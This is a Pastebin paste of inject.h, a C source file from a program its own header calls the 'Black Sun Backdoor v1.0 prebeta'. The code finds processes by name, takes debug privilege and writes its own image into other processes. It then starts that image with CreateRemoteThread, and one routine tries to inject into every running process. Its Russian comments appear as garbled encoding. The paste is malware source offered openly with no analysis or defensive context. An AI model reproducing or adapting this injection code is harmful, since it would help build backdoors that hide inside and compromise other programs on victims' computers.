Advertisement
FlyFar

src/inject.h

May 17th, 2024
543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.28 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                          (x) Cytech 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [inject.h]
  15.  *      Ìîäóëü âíåäðåíèÿ â àäðåñíîå ïðîñòðàíñòâî ÷óæîãî ïðîöåññà
  16.  *      ñ ïîìîùüþ òåõíîëîãèè Process-Injection.
  17.  *  ---------------------------------------------------------------------
  18.  */
  19.  
  20.  
  21. // ------------------ [ Ïîëó÷åíèå PID ïî åãî èìåíè ïðîöåññà ] ------------------ //
  22.  
  23. static DWORD GetPIDbyName(LPTSTR p_Name)
  24. {
  25.     HANDLE m_Snap;
  26.  
  27.     PROCESSENTRY32 pe = { sizeof(pe) };
  28.     m_Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
  29.  
  30.     if (m_Snap == INVALID_HANDLE_VALUE)
  31.     {
  32.         return 0;
  33.     }
  34.    
  35.     if (!Process32First(m_Snap, &pe))
  36.     {
  37.         return 0;
  38.     }
  39.    
  40.     do
  41.     {
  42.         if( !lstrcmpi(pe.szExeFile, p_Name))
  43.         {      
  44.             return pe.th32ProcessID;
  45.         }
  46.     } while (Process32Next(m_Snap, &pe));
  47.  
  48.     CloseHandle(m_Snap);
  49.  
  50.     return 0;
  51. }
  52.  
  53. // ------------------ [ Process Injection ] ------------------ //
  54.  
  55. static DWORD ProcessInject(HANDLE p_handle, DWORD (WINAPI f_Main)(LPVOID))
  56. {      
  57.  
  58.     PBYTE Buffer, pMem;
  59.     HANDLE hModule, hInjThread;
  60.     DWORD dwRead, dwSize, dwOldProt, wNumBytes;
  61.     IMAGE_DOS_HEADER ImageDosHeader;
  62.     IMAGE_OPTIONAL_HEADER32 ImageOptionalHeader;
  63.     BOOL bVProtect, bRPMem;
  64.     DWORD dwNumBytes;
  65.     dwRead = 0; dwSize = 0;
  66.    
  67.         hModule = GetModuleHandle(NULL);
  68.         dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(BASEADDRESS) +
  69.             ((PIMAGE_DOS_HEADER)(BASEADDRESS))->e_lfanew
  70.                 + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
  71.  
  72.         Buffer = (PBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  73.  
  74.         if (Buffer == NULL)
  75.         {
  76.             return FALSE;
  77.         }
  78.        
  79.         bRPMem = ReadProcessMemory(GetCurrentProcess(), (LPCVOID)BASEADDRESS, (LPVOID)Buffer, dwSize, &dwRead);
  80.    
  81.         if (bRPMem == 0)
  82.         {
  83.             return FALSE;
  84.         }
  85.  
  86.         VirtualFreeEx(p_handle, (LPVOID)BASEADDRESS, dwRead, MEM_RELEASE);
  87.         pMem = (PBYTE)VirtualAllocEx(p_handle, (LPVOID)BASEADDRESS, dwRead, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  88.         VirtualProtectEx(p_handle, pMem , dwRead, PAGE_EXECUTE_READWRITE, &dwOldProt);
  89.    
  90.         if (!WriteProcessMemory(p_handle, pMem, Buffer, dwRead, &dwNumBytes))
  91.         {
  92.             return FALSE;
  93.         }
  94.         hInjThread = CreateRemoteThread(p_handle, 0, 0, &f_Main, NULL, 0, NULL);
  95.        
  96.         if (hInjThread == NULL)              
  97.         {                                    
  98.            return FALSE;
  99.         }
  100.     return TRUE;
  101. }
  102.  
  103. static DWORD StartProcInject(DWORD dwPid, LPTSTR p_Name, DWORD (WINAPI f_Main)(LPVOID))
  104. {
  105.     HANDLE hProcess;
  106.    
  107.     SetPrivilege(SE_DEBUG_PRIV, TRUE);
  108.    
  109.     if (dwPid == NULL)
  110.     {
  111.  
  112.             dwPid = GetPIDbyName(p_Name);
  113.             if(dwPid == 0)
  114.             {
  115.                 return FALSE;
  116.             }
  117.     }
  118.  
  119.     hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  120.    
  121.     if (hProcess == NULL)
  122.     {
  123.         return FALSE;
  124.     }
  125.  
  126.     ProcessInject(hProcess, f_Main);
  127.  
  128.     if(ProcessInject == FALSE)
  129.     {
  130.         return FALSE;
  131.     }
  132.    
  133.     SetPrivilege(SE_DEBUG_PRIV, FALSE);
  134.   return TRUE;
  135. }
  136.  
  137. // ------------------ [ Èíæåêòèðîâàíèå âî âñå ïðîöåññû ] ------------------ //
  138.  
  139.  
  140. static DWORD WINAPI InjectAllProcesses(DWORD (WINAPI f_Main)(LPVOID))
  141. {
  142.     BOOL ret, flag = TRUE;
  143.     HANDLE m_Snap = INVALID_HANDLE_VALUE;
  144.     PROCESSENTRY32 pe = {sizeof(pe)};
  145.  
  146.     // SetPrivilege(SE_DEBUG_PRIV, TRUE);
  147.    
  148.     m_Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
  149.  
  150.     if (m_Snap == INVALID_HANDLE_VALUE)
  151.     {
  152.         return NULL;
  153.     }
  154.     if (!Process32First(m_Snap, &pe))
  155.     {
  156.         return NULL;
  157.     }
  158.  
  159.      do {
  160.             if (pe.th32ProcessID == GetCurrentProcessId()) continue;
  161.             if (pe.th32ProcessID == GetPIDbyName(FIRSTINJPROC)) continue; // äâàæäû â FISTINJECTPROC íå èíæåêòèìñÿ!
  162.             ret = StartProcInject(pe.th32ProcessID, NULL, f_Main); 
  163.            
  164.         } while (Process32Next(m_Snap, &pe));
  165.  
  166.     // SetPrivilege(SE_DEBUG_PRIV, FALSE);
  167.  
  168.     return NULL;
  169. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement